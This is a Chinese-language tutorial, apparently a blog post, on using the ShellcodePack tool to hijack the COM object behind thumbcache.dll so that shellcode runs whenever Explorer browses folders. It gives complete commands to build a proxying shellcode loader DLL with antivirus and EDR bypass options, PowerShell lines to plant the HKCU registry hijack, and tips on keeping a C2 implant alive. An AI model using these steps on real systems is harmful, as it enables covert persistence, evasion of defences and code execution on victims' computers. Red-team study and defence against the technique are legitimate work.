利用ShellcodePack实现DLL劫持与COM对象劫持技术详解

利用ShellcodePack实现DLL劫持与COM对象劫持技术详解

本文是一份关于使用 BallisKit ShellcodePack(版本 2.7.2 及以上)执行 DLL 劫持的小型教程。在本例中,我们将对 thumbcache.dll 使用 COM 劫持技术,从而在每次浏览资源管理器时触发有效载荷。

技术背景

当浏览包含缩略图的文件夹时,系统会触发 CLSID 为 {AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} 的 COM 对象执行。通过查看注册表路径:

HKEY_CLASSES_ROOT\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32

可以发现该对象的实现文件位于:

C:\Windows\System32\thumbcache.dll

ProcMon 监控 thumbcache.dll 加载

通过 Process Monitor 观察,当文件夹被浏览时,thumbcache.dll 会由 DllHost.exe 加载。同时注意到,系统会优先加载 HKEY_CLASS_USER 中定义的值(如果存在)。我们将利用这一特性来运行 shellcode 加载器 DLL。

第一步:生成 shellcode 加载器 DLL

ShellcodePack 支持多种从 DLL 加载 shellcode 的策略。本例选择从 DLL_MAIN 中加载 shellcode。我们使用 dll-proxy 选项将导出的函数调用自动转发至原始 DLL,同时使用 dll-increase-reference-count 选项避免恶意 DLL 被提前卸载。

使用以下命令行生成我们的 DLL:

bash 复制代码
shellcode_pack.exe -i "x64shellcode.bin" -G "C:\my\path\thumbcache.dll" --arch=win_x64 --bypass --dll-increase-reference-count --dll-proxy="c:\windows\system32\thumbcache.dll"

提示 :使用 --bypass 选项可自动应用多种 AV/EDR 绕过方案来生成载荷。你也可以通过以下方式使用预定义的 EDR 绕过预设:

bash 复制代码
--bypass-profile=bypass_profiles\defender_bypass_profile.json

第二步:注册表中的 COM 劫持配置

使用以下 PowerShell 命令行设置注册表项:

powershell 复制代码
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\my\path\thumbcache.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Apartment"

生成的注册表项结构如图所示(预期效果)。

第三步:漏洞利用

打开资源管理器,点击包含缩略图的文件夹(例如「此电脑」)。此时 shellcode 将被成功启动!

第四步:清理

使用以下命令清理注册表:

powershell 复制代码
Remove-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"

限制与替代方案

在 COM 劫持场景中,当被劫持的进程终止时(本例中为几秒后),你的 shellcode 会被中断。如果 shellcode 是一个 C2 植入程序,你可能需要在此之前迁移到其他进程。

替代方案一 :移除 dll-proxy 选项。在这种情况下,由于对 DLL 的调用会失败,进程可能不会立即关闭。缺点是此方法并非在所有场景下都有效。

保持目标进程在劫持后继续运行的命令示例:

bash 复制代码
shellcode_pack.exe -i "x64shellcode.bin" -G "C:\my\path\thumbcache.dll" --arch=win_x64 --bypass --dll-increase-reference-count

替代方案二 :不通过 DLL_MAIN 运行 shellcode 并代理导出函数,而是从导出函数中运行 shellcode。你可以使用 dll-run-shellcode-from-dll-export 选项,并通过 dll-export=DLL_EXPORT_NAME 重命名默认的 ShellcodePack 导出函数。但需要注意,从导出函数加载的问题在于,在 DLL 劫持场景中,调用程序可能无法正常运行。 CSD0tFqvECLokhw9aBeRqv0CjOLMPgMxZs9OkOfethamM50XDnXyZbBEdIw1I2NdN45R4gFPBXJrnxWMLeVhZ58KQ+60IxEXoR89fK55CSY=

相关推荐
星马梦缘4 小时前
人工智能学院科协 · 2026秋季学期工作安排说明
人工智能·智能硬件
zhangfeng11334 小时前
CodeBuddy 切换账号后对话历史“消失“解决办法。找回历史记录
人工智能
AI服务老曹4 小时前
AI视频分析API完整流程:设备、算法与告警接口接入指南
人工智能·算法·音视频
watersink4 小时前
机器学习LDA
人工智能·机器学习
蓝狐社4 小时前
AI这艘船,谁在划桨,谁在凿洞?
人工智能
GlobalInfo4 小时前
AI与另类数据融合,市场研究正在从“经验驱动”走向“数据智能”
大数据·网络·人工智能·ai
AImoon11.14 小时前
MiniMax H3开源引发视频赛道变局,客易云关注AI模型从生成工具迈向生产力工具
人工智能·音视频
XMAIPC_Robot4 小时前
RK3588+STM32:高性能机器人运动控制解决方案,兼顾实时性与AI算力
人工智能·stm32·嵌入式硬件·算法·fpga开发·机器人·arm+fpga
vivo互联网技术4 小时前
MagicBokeh:单步统一生成式框架实现真实感长焦虚化渲染 | CVPR 2026 Oral
人工智能·算法
新点一讯4 小时前
聚焦流程数智升级,九科信息企业自动化智能体赋能高效运营
大数据·人工智能